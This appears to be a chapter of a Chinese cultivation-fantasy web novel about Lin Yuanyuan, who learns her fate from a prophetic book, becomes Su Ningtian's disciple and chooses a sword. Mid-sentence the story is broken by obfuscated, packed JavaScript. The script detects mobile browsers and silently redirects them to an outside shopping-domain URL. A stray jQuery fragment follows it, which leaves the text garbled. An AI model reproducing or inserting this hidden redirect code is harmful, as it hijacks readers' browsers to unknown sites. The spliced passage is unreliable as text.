说着,她便带着怨气翻开了第一页,谁知,竟就这样巧,第一页,就有他苏莫停的名字。
本想着赶紧看看他最后会受到何种报应,落得何种下场,可偏偏命运偏袒,他不但没有受到任何报应,还关关难过关关过,一路晋升迅速,从今时向后,不过三年,便夺得十三峰弟子之首位。
更可怕的是,他便是在书中最后十页,于多年后,将陆久吟斩于剑下的那位。
读到这,林元元怔在案前,一时难以理解。凭什么是这样的人当道?凭什么是他杀掉陆久吟?凭什么是他坐上十三峰统领大掌门之位?
林元元越想越气,最后直接拍案而起,怒气冲冲滚上了床铺,很不爽地蹬了两下腿,将头埋在了被子里,大叫起来。
如此发泄了一顿,她才头发凌乱地钻出了被窝,走下床,走出门,走入山路……
她要凭借记忆,循着来时路,找到山门,逃出这九幽峰。
可刚歪入小路几步,她就被几只饿狼吓破了胆,跌跌撞撞跑回了大路。
她跌坐在路上,看着追过来的饿狼被法术屏障格挡在外,才捂着胸口大口喘气。
“苏莫停那人说的,居然是真的……”林元元垂在身侧的手死死掐住了衣角,闭眼回想起今日所发生的这一切,只觉眼花缭乱,下一秒,她就因为体力不支,倒在了这半山腰。
这一觉,林元元睡了很久,当她再次醒来,却发现自己并不在那幽篁居内。
环顾一圈,她方才惊觉,这儿正是苏掌门的九幽殿啊!
苏宁天正坐在不远处的桌案旁,三指捏着杯,小口饮着,见林元元醒了,手中动作一滞。不一会儿,便起身走至床边,侧身坐下。
“林元元,你是当真不愿留在这九幽峰么?”
“我本就无心修炼,再者,两位师兄颇为讨厌。”林元元直言不讳,丝毫没有顾及对面一峰之主的身份。
苏宁天轻笑了一声:“你两位师兄,苏兰如今年满十七,苏莫停才刚满十六,多少还没完全褪去稚嫩,对你是多有不敬。”
林元元没想到苏掌门会替他二人道歉,想要骂下去的话,终是没有说出口。
“那我也不想留在这,要我做他们师妹,做梦!”林元元一脸不高兴,将头转向另一边,不看苏宁天。
“可是,倘若这是你母亲的遗愿呢?”
苏宁天不紧不慢,一双手轻轻握住了林元元的手,轻声道:“我是你母亲生前的同门师妹,你母亲曾与我说,若是有一天她永远离开了,你又有缘入道,希望我能护你平安长大。”
林元元听着这些话,瞬间怔愣住了,双手止不住地发颤,眼神也变得恍惚起来。
“什么……”她口中喃喃。
苏宁天也没有嫌麻烦,而是温声又说了一遍:“林元元,你母亲托我照顾你,我也想弥补对你母亲的亏欠。所以,留下,好吗?”
“等下!”林元元打断她,“不是这句,是最后那句,护我平安长大……”
“嗯,你既有缘入道,我愿护你平安长大。”苏宁天语调极致温柔。
“……”
这一句话落下,林元元宛如魂魄被抽离般瘫倒下去,被苏掌门接了个满怀。
“元元,你怎么了?”苏掌门有些着急,抬手就往林元元体内渡起法术来,生怕她是因为忽然听到已逝的母亲,因而心脉受损。
实则不然,只是这句话,对林元元来说,太过于熟悉了。
那本册子中的第一话,第一段,第一行,就是这句话。正是苏宁天苏掌门对徒弟林九所言词句。
书中写道:
「苏掌门看着床上脏乱不堪的小乞丐,眼角溢出些泪来,见小乞丐微微睁眼,她方才缓缓上前,将人扶起,轻声道:“林九,你既有缘入道,那自今日起,我护你平安长大。”
话落,小乞丐也落下一滴泪来。自此,小乞丐便以三师妹身份长留九幽峰。」
她虽这么多年从未看完这本书,但第一页,她反复翻阅不下千遍。她曾以为这只是普通话本,后来才知晓这记载着十三峰弟子之命数。叫她难以接受的是,自己竟也身在其中。
自己尚且未知的一生,竟也如落水浮萍,在此刻被一笔一画注明,风吹雨打,逃不掉。
她顿觉窒息难忍,全身如坐针毡,她甚至想要脱口而出:“这跟直接去死,有何不同?”
可奈何苏宁天的法术实在高强,几番灵力注入,还是将林元元内里紊乱的法脉给捋顺了。
直到林元元整个人平静下来,苏宁天才屈指轻轻点向她的眉心。
一瞬间,少女心神空明,耳边万籁俱寂。再睁开眼时,眼底便少了几分燥意,多了几分明悟。
“林元元,我已帮你点灵,自此,你便算是入门了。”
林元元看着她,口中竟无意识般道了一句:“师父。”
苏宁天唇角噙起一抹温和的笑意,揉了揉林元元的脑袋,微微颔首,也算是认下了这份师徒名分。
不过,很快,十三峰便传开了。这九幽峰新收的三师妹身份尊贵,是众人求着、师兄哄着,躺在床上拜的师。
不少其他峰的弟子都争着抢着想来看一眼,这三师妹是个什么稀罕人物。可大名鼎鼎的九幽仙尊苏宁天,自然是不准许旁门弟子这般擅闯。
为此,身为师兄的苏兰、苏莫停二人被迫日夜看守九幽峰结界,不许外人擅入。
林元元则是待在那幽篁居内,日日等着苏宁天亲自前来。这位苏师尊当真也算负责,还真就日日过来,悉心教导,无一日缺席。
就这样,林元元也打心底愿意认她做师父了。
就这样历经了三个月,林元元的名声响彻了整个十三峰,自然算不上什么好名声。嚣张跋扈、懒惰无礼、自视甚高,诸如此类的评价,林元元已经从各处山中杂役口中听过无数次了。
但对于这般评头论足,她自然也是不屑一顾。就在前几日,苏师尊为她掐指一算,说她心思缜密,悟性颇高,她也就自此走上了阵修之路。
苏宁天赐她一支阵笔,她收进衣领;赐她几支阵旗,她也收进衣领。罗盘、阵尺、玉符,无数宝物,她全都收下,不用,纯放着。
直到昨日,苏宁天有些头疼,问她觉得哪件法器顺手。她支支吾吾说不出个所以然,脑子一热想到那日陆久吟腰间那把发光的剑,不由心生向往,口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816543|211066||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中蓦地迸出一个“剑”字。
“什么?你想练剑?”苏宁天有些不解。她从未想让林元元练剑,毕竟她母亲,就曾是名冠天下的剑修,最后却惨死他人剑下……
“我要练剑!”林元元勾起嘴角一笑,没甚多想。
“那阵法,不修了?”
“修!双修!一个保命!一个耍帅!”
林元元说完,抬眼看向师父,满眼写着得意。
苏宁天见着这一幕,也许只是觉得少女意气风发,敢想敢做,殊不知,这是林元元对抗既定命数的第一步。
书中说她未来会成为阵修,那她就偏要剑阵双修!她倒要看看,这书,到底是可逆不可!
苏宁天不愿在这种情形下给她泼冷水,只命人将偷笑的两位师兄请了出去,转身便在掌中转出三把剑来。
林元元没有一点犹豫,直接选走了泛着桃色灵光的一把。
此剑如春日初绽之花,剑入手,剑锋所过之处,皆有花影随行。
“此剑百年从未认主,如今你握它在手,它不反抗,便是认你做主了。”苏宁天笑道,“给它起个名字吧。”
林元元觉得这剑极漂亮,上下打量了好一会儿,眼睛一亮:“就叫它‘美娇郎’吧!”
话落,整个九幽殿陷入寂静。苏宁天有些嗔怒:“不可胡闹。”
谁知刚教训完,那剑就灵光一闪,似认下了此名。
苏宁天慌忙站起身,想要将剑收回重新确认,奈何那剑像是黏在林元元手中似的。她用力一拔,竟将林元元连人带剑一同拽到了面前。
看着眼前一幕,苏宁天只扶住额头无奈摇了摇头,一时无言。
自这一天后,林元元又在这北洲十三峰出了一次名。传言道是她终日痴迷美色,一日饮酒之后,竟将那飞来之剑错认作不败之巅的陆久吟,冲上去就唤人家美娇郎……
林元元听着也是长叹一口气。她说出此名,仅是因为这剑实在美丽,至于无端被牵扯进来的陆久吟,她不用想都知道是谁添油加醋。
毕竟自己那两位师兄已经好几日没好意思来见自己了。定然是初入宗门那日,自己随口提起陆久吟,被他二人视作是对九幽峰的不敬,因而怀恨在心,做出这种诋毁他人名声的事。
不过名声什么的,她林元元倒是早就不在意了,只怕那陆久吟会在意。
如此一来,林元元便在这谣言夹缝中昂首挺胸过日子。凡是遇到闲言碎语的小杂役,她必赏其铜钱;凡是遇到偷鸡摸狗的坏师兄,她必血战到底。
很快,在她这般行事之下,谣言终于止于智者。
她便也就此开始了真正忤逆天道的生活:那本册子中说她不爱吃蔬菜,她就抱着青菜啃;说她懒惰无赖,她就日日闻鸡起舞;说她贪恋美色,她便偏要顺着这条评价行事。
可很快,她隐居深山、随心所欲的日子就结束了。九幽殿传来消息:不败之巅要举办百年一次的听道大会,邀请其余各峰弟子前来听学,还特意点名九幽峰三师妹。
“师父,能不能给我提一提辈分?我做二师姐,苏莫停做三师妹……”
苏宁天给了她一个白眼,这个主意只好作罢。